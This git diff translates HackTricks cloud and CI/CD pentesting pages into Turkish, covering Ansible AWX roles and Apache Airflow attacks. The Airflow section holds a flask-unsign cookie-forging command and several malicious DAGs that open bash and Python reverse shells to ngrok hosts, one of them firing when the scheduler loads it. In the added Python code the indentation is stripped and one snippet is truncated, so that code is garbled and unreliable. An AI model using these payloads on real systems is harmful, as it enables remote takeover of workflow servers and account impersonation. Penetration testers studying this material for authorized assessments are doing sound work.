diff --git a/src/README.md b/src/README.md index 01b146fd1..3c65802f9 100644 --- a/src/README.md +++ b/src/README.md @@ -6,26 +6,26 @@ Reading time: {{ #reading_time }}
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks logoları & hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._ > [!TIP] -> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news. +> **CTF'lerde**, **gerçek** yaşam **ortamlarında**, **araştırma** yaparak ve **araştırmaları** ve haberleri okuyarak öğrendiğim her **hacking trick/technique/whatever related to CI/CD & Cloud**'ı bulacağınız sayfaya hoş geldiniz. ### **Pentesting CI/CD Methodology** -**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:** +**HackTricks CI/CD Methodolojisinde, CI/CD faaliyetleriyle ilgili altyapıyı nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun: [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md) ### Pentesting Cloud Methodology -**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:** +**HackTricks Cloud Methodolojisinde, bulut ortamlarını nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun: [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md) ### License & Disclaimer -**Check them in:** +**Onları kontrol edin:** [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq) @@ -34,7 +34,3 @@ _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.co ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg) {{#include ./banners/hacktricks-training.md}} - - - - diff --git a/src/SUMMARY.md b/src/SUMMARY.md index feae5163c..1b1d60c58 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -505,3 +505,5 @@ + + diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b684cee3d..f385db91a 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,17 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> HackTricks'i Destekleyin > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +> - **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +> - **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek. > >
- - - - diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index d3fbf19e5..cdc25edc9 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -2,62 +2,61 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. +**Ansible Tower** veya açık kaynak versiyonu [**AWX**](https://github.com/ansible/awx), **Ansible’ın kullanıcı arayüzü, kontrol paneli ve REST API'si** olarak da bilinir. **Rol tabanlı erişim kontrolü**, iş zamanlaması ve grafik envanter yönetimi ile Ansible altyapınızı modern bir UI'dan yönetebilirsiniz. Tower’ın REST API'si ve komut satırı arayüzü, mevcut araçlar ve iş akışlarıyla entegrasyonu basit hale getirir. -**Automation Controller is a newer** version of Ansible Tower with more capabilities. +**Automation Controller, Ansible Tower'ın daha fazla yeteneğe sahip** daha yeni bir versiyonudur. -### Differences +### Farklar -According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. +[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağına göre, Ansible Tower ile AWX arasındaki ana fark, alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır. -### Tech Stack +### Teknoloji Yığını -- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. -- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. -- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. -- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. -- **Redis**: Redis serves as a cache and a backend for the task queue. +- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Anlayışınızı kolaylaştırmak için görselleştirmeler sunarak sezgisel olacak şekilde tasarlanmıştır. +- **REST API**: Web arayüzünde yapabileceğiniz her şeyi REST API aracılığıyla da yapabilirsiniz. Bu, AWX/Tower'ı diğer sistemlerle entegre etmenizi veya arayüzde genellikle gerçekleştireceğiniz eylemleri betik haline getirmenizi sağlar. +- **Veritabanı**: AWX/Tower, yapılandırmasını, iş sonuçlarını ve diğer gerekli operasyonel verileri depolamak için bir veritabanı (genellikle PostgreSQL) kullanır. +- **RabbitMQ**: Bu, AWX/Tower'ın farklı bileşenler arasında, özellikle web hizmeti ile görev çalıştırıcıları arasında iletişim kurmak için kullandığı mesajlaşma sistemidir. +- **Redis**: Redis, görev kuyruğu için bir önbellek ve arka uç olarak hizmet eder. -### Logical Components +### Mantıksal Bileşenler -- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. -- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. -- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. -- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. -- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. -- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. -- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. -- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. +- **Envanterler**: Envanter, **işlerin** (Ansible playbook'ları) **çalıştırılabileceği** **hostlar (veya düğümler)** koleksiyonudur. AWX/Tower, envanterlerinizi tanımlamanıza ve gruplamanıza olanak tanır ve ayrıca AWS, Azure gibi diğer sistemlerden **host listelerini alabilen** dinamik envanterleri destekler. +- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) kaynaklı **Ansible playbook'ları** koleksiyonudur; ihtiyaç duyulduğunda en son playbook'ları çekmek için kullanılır. +- **Şablonlar**: İş şablonları, **belirli bir playbook'un nasıl çalıştırılacağını** tanımlar, **envanter**, **kimlik bilgileri** ve iş için diğer **parametreleri** belirtir. +- **Kimlik Bilgileri**: AWX/Tower, **SSH anahtarları, şifreler ve API jetonları** gibi gizli bilgileri **yönetmek ve depolamak için güvenli bir yol** sağlar. Bu kimlik bilgileri, playbook'ların çalıştığında gerekli erişime sahip olabilmesi için iş şablonlarıyla ilişkilendirilebilir. +- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, belirtilen envanter üzerinde belirtilen kimlik bilgileri kullanılarak Ansible playbook'larını çalıştıran görev motoruna yönlendirilir. +- **Zamanlayıcılar ve Geri Aramalar**: Bunlar, AWX/Tower'da **işlerin belirli zamanlarda çalıştırılmasını** veya dış olaylar tarafından tetiklenmesini sağlayan gelişmiş özelliklerdir. +- **Bildirimler**: AWX/Tower, işlerin başarı veya başarısızlığına dayalı bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler. +- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlar. YAML ile yazılmıştır ve playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır. -### Job Execution Flow +### İş Yürütme Akışı -1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. -2. **Job Initiation**: - - The user, via the Web Interface or API, initiates a job based on a **Job Template**. - - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. - - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. -3. **Job Queuing**: - - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. - - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. -4. **Job Execution**: - - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. - - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. - - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. -5. **Job Results**: - - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. - - Users can then view the results through the Web Interface or query them via the REST API. - - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. -6. **External Systems Integration**: - - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. - - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. - - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. +1. **Kullanıcı Etkileşimi**: Bir kullanıcı, AWX/Tower ile **Web Arayüzü** veya **REST API** aracılığıyla etkileşimde bulunabilir. Bu, AWX/Tower tarafından sunulan tüm işlevselliklere ön uç erişimi sağlar. +2. **İş Başlatma**: +- Kullanıcı, Web Arayüzü veya API aracılığıyla bir **İş Şablonu** temelinde bir iş başlatır. +- İş Şablonu, **Envanter**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir. +- İş başlatıldığında, işin yürütülmesi için AWX/Tower arka ucuna bir istek gönderilir. +3. **İş Kuyruğa Alma**: +- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, RabbitMQ kullanılarak görev motoruna bir mesaj gönderilir. +- **Redis**, yürütülmeyi bekleyen kuyrukta bekleyen işleri yöneten görev kuyruğu için arka uç olarak hizmet eder. +4. **İşin Yürütülmesi**: +- **Görev Motoru**, kuyrukta bekleyen işi alır. İlgili **Veritabanı**'ndan işin ilişkili playbook'u, envanteri ve kimlik bilgileri hakkında gerekli bilgileri alır. +- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envanter** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır. +- Playbook çalışırken, yürütme çıktısı (loglar, bilgiler vb.) **Veritabanı**'na kaydedilir. +5. **İş Sonuçları**: +- Playbook çalışmayı bitirdiğinde, sonuçlar (başarı, başarısızlık, loglar) **Veritabanı**'na kaydedilir. +- Kullanıcılar, sonuçları Web Arayüzü aracılığıyla görüntüleyebilir veya REST API aracılığıyla sorgulayabilir. +- İş sonuçlarına bağlı olarak, **Bildirimler** kullanıcıları veya dış sistemleri işin durumu hakkında bilgilendirmek için gönderilebilir. Bildirimler e-postalar, Slack mesajları, web kancaları vb. olabilir. +6. **Dış Sistem Entegrasyonu**: +- **Envanterler**, dış sistemlerden dinamik olarak kaynaklanabilir, bu da AWX/Tower'ın AWS, Azure, VMware gibi kaynaklardan hostları çekmesine olanak tanır. +- **Projeler** (playbook'lar), versiyon kontrol sistemlerinden alınabilir, böylece iş yürütme sırasında güncel playbook'ların kullanılması sağlanır. +- **Zamanlayıcılar ve Geri Aramalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya önceden belirlenmiş zamanlarda işleri çalıştırmasını sağlar. -### AWX lab creation for testing - -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: +### Test için AWX laboratuvarı oluşturma +[**Belgeleri takip ederek**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) AWX'ı çalıştırmak için docker-compose kullanmak mümkündür: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data ``` - ## RBAC -### Supported roles +### Desteklenen roller -The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. +En yetkili rol **Sistem Yöneticisi** olarak adlandırılır. Bu role sahip olan herkes **her şeyi değiştirebilir**. -From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. +Bir **beyaz kutu güvenliği** incelemesi için, **Sistem Denetçisi rolüne** ihtiyacınız olacak, bu rol **tüm sistem verilerini görüntülemenizi** sağlar ancak herhangi bir değişiklik yapmanıza izin vermez. Diğer bir seçenek **Organizasyon Denetçisi rolünü** almak olacaktır, ancak diğerini almak daha iyi olur.
-Expand this to get detailed description of available roles +Mevcut rollerin ayrıntılı açıklamasını almak için genişletin -1. **System Administrator**: - - This is the superuser role with permissions to access and modify any resource in the system. - - They can manage all organizations, teams, projects, inventories, job templates, etc. -2. **System Auditor**: - - Users with this role can view all system data but cannot make any changes. - - This role is designed for compliance and oversight. -3. **Organization Roles**: - - **Admin**: Full control over the organization's resources. - - **Auditor**: View-only access to the organization's resources. - - **Member**: Basic membership in an organization without any specific permissions. - - **Execute**: Can run job templates within the organization. - - **Read**: Can view the organization’s resources. -4. **Project Roles**: - - **Admin**: Can manage and modify the project. - - **Use**: Can use the project in a job template. - - **Update**: Can update project using SCM (source control). -5. **Inventory Roles**: - - **Admin**: Can manage and modify the inventory. - - **Ad Hoc**: Can run ad hoc commands on the inventory. - - **Update**: Can update the inventory source. - - **Use**: Can use the inventory in a job template. - - **Read**: View-only access. -6. **Job Template Roles**: - - **Admin**: Can manage and modify the job template. - - **Execute**: Can run the job. - - **Read**: View-only access. -7. **Credential Roles**: - - **Admin**: Can manage and modify the credentials. - - **Use**: Can use the credentials in job templates or other relevant resources. - - **Read**: View-only access. -8. **Team Roles**: - - **Member**: Part of the team but without any specific permissions. - - **Admin**: Can manage the team's members and associated resources. -9. **Workflow Roles**: - - **Admin**: Can manage and modify the workflow. - - **Execute**: Can run the workflow. - - **Read**: View-only access. +1. **Sistem Yöneticisi**: +- Bu, sistemdeki herhangi bir kaynağa erişim ve değiştirme izinlerine sahip süper kullanıcı rolüdür. +- Tüm organizasyonları, takımları, projeleri, envanterleri, iş şablonlarını vb. yönetebilirler. +2. **Sistem Denetçisi**: +- Bu role sahip kullanıcılar tüm sistem verilerini görüntüleyebilir ancak herhangi bir değişiklik yapamazlar. +- Bu rol, uyum ve denetim için tasarlanmıştır. +3. **Organizasyon Rolleri**: +- **Admin**: Organizasyonun kaynakları üzerinde tam kontrol. +- **Denetçi**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi. +- **Üye**: Belirli izinleri olmayan bir organizasyonda temel üyelik. +- **Çalıştır**: Organizasyon içinde iş şablonlarını çalıştırabilir. +- **Oku**: Organizasyonun kaynaklarını görüntüleyebilir. +4. **Proje Rolleri**: +- **Admin**: Projeyi yönetebilir ve değiştirebilir. +- **Kullan**: Projeyi bir iş şablonunda kullanabilir. +- **Güncelle**: SCM (kaynak kontrolü) kullanarak projeyi güncelleyebilir. +5. **Envanter Rolleri**: +- **Admin**: Envanteri yönetebilir ve değiştirebilir. +- **Ad Hoc**: Envanter üzerinde ad hoc komutları çalıştırabilir. +- **Güncelle**: Envanter kaynağını güncelleyebilir. +- **Kullan**: Envanteri bir iş şablonunda kullanabilir. +- **Oku**: Yalnızca görüntüleme erişimi. +6. **İş Şablonu Rolleri**: +- **Admin**: İş şablonunu yönetebilir ve değiştirebilir. +- **Çalıştır**: İşi çalıştırabilir. +- **Oku**: Yalnızca görüntüleme erişimi. +7. **Kimlik Bilgisi Rolleri**: +- **Admin**: Kimlik bilgilerini yönetebilir ve değiştirebilir. +- **Kullan**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir. +- **Oku**: Yalnızca görüntüleme erişimi. +8. **Takım Rolleri**: +- **Üye**: Takımın bir parçası ancak belirli izinleri yok. +- **Admin**: Takımın üyelerini ve ilgili kaynakları yönetebilir. +9. **İş Akışı Rolleri**: +- **Admin**: İş akışını yönetebilir ve değiştirebilir. +- **Çalıştır**: İş akışını çalıştırabilir. +- **Oku**: Yalnızca görüntüleme erişimi.
{{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index aac46128c..f93780083 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,23 +1,22 @@ -# Apache Airflow Security +# Apache Airflow Güvenliği {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Temel Bilgiler -[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications. +[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi çok sayıda uygulama tarafından yaygın olarak kullanılmaktadır; bunların hepsi büyük veri uygulamalarının işleyişi için temeldir. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +Temelde, Apache Airflow, **bir şey olduğunda kodun çalıştırılmasını zamanlamanıza olanak tanır** (olay, cron). -### Local Lab +### Yerel Laboratuvar #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Tam bir apache airflow docker ortamı başlatmak için **docker-compose yapılandırma dosyasını** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +**Apache Airflow'u çalıştırmanın** kolay bir yolu, **minikube ile çalıştırmaktır**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,10 +26,9 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Airflow Yapılandırması -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow, yapılandırmasında **hassas bilgileri** saklayabilir veya zayıf yapılandırmalar bulabilirsiniz: {{#ref}} airflow-configuration.md @@ -38,65 +36,62 @@ airflow-configuration.md ### Airflow RBAC -Before start attacking Airflow you should understand **how permissions work**: +Airflow'a saldırmaya başlamadan önce **izinlerin nasıl çalıştığını** anlamalısınız: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Saldırılar -#### Web Console Enumeration +#### Web Konsolu Sayım -If you have **access to the web console** you might be able to access some or all of the following information: +Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Değişkenler** (Özel hassas bilgiler burada saklanabilir) +- **Bağlantılar** (Özel hassas bilgiler burada saklanabilir) +- `http:///connection/list/` adresinden erişin +- [**Yapılandırma**](./#airflow-configuration) (Hassas bilgiler, örneğin **`secret_key`** ve şifreler burada saklanabilir) +- **kullanıcılar ve roller** listesini görüntüleyin +- **Her DAG'ın kodu** (ilginç bilgiler içerebilir) -#### Retrieve Variables Values +#### Değişken Değerlerini Alma -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http:///variable/list/` adresinde GUI üzerinden erişebilirsiniz.\ +Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**şuna**](https://marclamberti.com/blog/variables-with-apache-airflow/) göre, **değerinin** **yıldızlar** olarak görüneceği **değişkenler listesi** ayarlamak mümkündür. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +Ancak, bu **değerler** hala **CLI** üzerinden (DB erişiminiz olmalı), **rastgele DAG** çalıştırarak, **API** ile değişkenler uç noktasına erişerek (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi aracılığıyla** **alınabilir!**\ +Bu değerleri GUI'den erişmek için sadece **erişmek istediğiniz değişkenleri** seçin ve **Eylemler -> Dışa Aktar** seçeneğine tıklayın.\ +Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanarak **bruteforce** yapmaktır: ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### Yetki Yükseltme +Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** roller **web'deki yapılandırmayı okuyabilir**. Bu yapılandırmada, **`secret_key`** görünür, bu da bu geçerli anahtara sahip herhangi bir kullanıcının **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` +#### DAG Arka Kapı (Airflow işçi içinde RCE) -#### DAG Backdoor (RCE in Airflow worker) - -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Eğer **DAG'ların kaydedildiği** yere **yazma erişiminiz** varsa, sadece **bir tane oluşturabilirsiniz** ve bu size bir **ters kabuk** gönderecektir.\ +Bu ters kabuğun bir **airflow işçi konteyneri** içinde çalıştırılacağını unutmayın: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` +#### DAG Arka Kapı (Airflow zamanlayıcısında RCE) -#### DAG Backdoor (RCE in Airflow scheduler) - -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Eğer bir şeyi **kodun kökünde çalıştırılacak şekilde ayarlarsanız**, bu yazının yazıldığı anda, **zamanlayıcı tarafından** DAG klasörüne yerleştirildikten birkaç saniye sonra **çalıştırılacaktır**. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### DAG Oluşturma -#### DAG Creation +Eğer **DAG kümesindeki bir makineyi ele geçirirseniz**, `dags/` klasöründe yeni 